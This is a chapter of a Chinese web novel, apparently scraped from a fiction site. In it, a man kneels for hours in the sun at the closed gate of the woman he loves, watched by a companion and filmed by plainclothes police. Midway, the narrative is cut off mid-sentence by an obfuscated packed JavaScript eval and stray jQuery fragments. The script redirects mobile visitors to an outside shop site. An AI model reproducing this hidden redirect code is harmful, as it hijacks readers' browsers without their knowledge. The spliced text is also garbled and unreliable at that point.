文趣网 > 都市小说 > 刀尖利益·叛生之道第三季 > 298.长跪门前痴心难断
    加密通讯黑屏的冷光还残留在小院屋内,捞哥将空水瓶捏得瓶身微微变形,方才对着屏幕屈膝下跪的酸涩还凝在膝盖骨里,心底那点执念半点没有被凯斯的两句叮嘱压下去。

    许无意安静站在一旁,看着他目光死死锁着巷子深处苏晚居住的院落方向,眼底翻涌着挥之不去的执拗,轻轻叹了口气,不再上前多劝半句。

    “劝你的话方才通讯里我已经说尽,你心里打定主意,我多说无益。”许无意后退两步,干脆斜倚在院墙根的老树干上,双手环胸,摆明了一副置身事外看戏的姿态,“你要去,我不拦你,只是丑话说在前头,巷口便衣全程盯着,你这般举动,只会加重官方对你的疑心,最后所有压力还是落到苏晚身上。”

    捞哥闻言没有回头,只淡淡丢下一句:“我心里有数。”

    话音落,他径直穿过窄巷,一步步走到苏晚小院紧闭的木门前。院墙不高,院内安安静静,听不见半点人声,想来苏晚知晓他在外徘徊,刻意避开不愿相见。

    没有叩门,没有出声呼喊惊扰院内人,捞哥双腿一弯,直直跪在木门正前方青石板路上。

    正午南洋的日头毒辣滚烫,石板被晒得发烫,隔着薄薄布料灼烧着膝盖,方才对着通讯屏幕那一跪尚且有木地板缓冲,此刻露天长跪,刺骨的灼热顺着骨头往四肢百骸钻。他脊背依旧挺得笔直,垂着头,视线落在紧闭的门板上,一言不发,就这么静静伏在门前。

    巷口轮换值守的便衣瞬间警觉,立刻拿出设备远远拍摄取证,低声对着对讲机汇报院内门前突发状况,录音设备持续运转,不敢放过半点动静。两人隔着十几米远,目光紧紧锁定跪在门前的男人,暗暗提高戒备。

    院墙根的许无意冷眼将这一幕尽收眼底,指尖无意识摩挲着小臂,脸上无半分上前搀扶的意思,纯粹抱着旁观的心态。

    他太清楚捞哥的性子,这人在边境厮杀多年,骨头硬得刀砍不动,能对着远在河谷的凯斯下跪,如今为了见苏晚一面,甘愿在烈日下长跪门前,旁人再怎么劝都是徒劳。上前拉扯只会激起他的逆反心思,不如任由他发泄心底积攒数年的执念,等他自己熬不住、看清徒劳无功,自然会起身离开。

    周遭路过的本地居民远远瞥见门前下跪的陌生男人,纷纷绕路走远,小声交头接耳,隐约的议论声飘过来,捞哥恍若未闻,分毫不动。

    许无意靠在树干上,慢悠悠看着巷口探头探脑的便衣,又看向门前纹丝不动的捞哥,心里暗自盘算。

    凯斯方才在通讯里的提醒字字清晰,最怕捞哥的执念牵连苏晚,眼下这一幕,恰恰印证了老板的顾虑。这般大张旗鼓跪在人家门前,等于明晃晃告诉所有监视人员,苏晚是捞哥的心结,后续官方必然会增加对苏晚的盘问频次,往后这座小城,苏晚再也别想拥有清净日子。

    半个时辰过去,日头愈发毒辣,捞哥额角布满细密汗珠,顺着下颌线不断滴落,砸在滚烫的青石板上转瞬蒸发。膝盖早已麻木发胀,阵

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17706496|205039||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    阵刺痛源源不断传来,他脊背依旧没有半分歪斜,只是垂在身侧的手,指节攥得发白。

    院内始终安安静静,木门没有一丝开启的动静,苏晚从头到尾没有露面,好似院内根本无人。

    许无意看得久了,才慢悠悠开口,声音隔着一段距离飘到捞哥耳边,带着几分淡漠的调侃,全然没有劝解的温柔:“跪了这么久,门内人连一丝动静都没有,何苦作践自己?凯斯先生的叮嘱你转头就忘,真要把苏晚拖进无休止的审查里才甘心?”

    捞哥没有抬头,声音沙哑干涩,被热气烘得格外低沉:“我不求她开门见我,只求让她知晓,我并无半分伤害她的心思,今日一跪,是为往日亏欠,也是为彻底了断心底念想。”

    “了断?”许无意嗤笑一声,缓缓站直身体,依旧没有上前半步,“你若是真能了断,今日就不会跨洋而来,更不会跪在人家门前自我折磨。我就在这里看着,看你能撑到什么时候。”

    说完,他重新退回树荫下,继续抱着手臂冷眼旁观,任由捞哥独自跪在烈日之下,守着一扇紧闭无人回应的木门,困住自己数年痴心。

    巷口的便衣已经完成新一轮信息上报,指挥中心传来指令,持续紧盯二人动向,暂不采取强制措施,全程记录所有画面传回总部;千里之外妙瓦底河谷顶层大厅,凯斯手边的情报终端同步收到南洋实时拍摄影像,屏幕里清晰定格跪在门前的捞哥,他指尖轻轻敲击桌面,眸色沉沉,静静望着画面,沉默不语。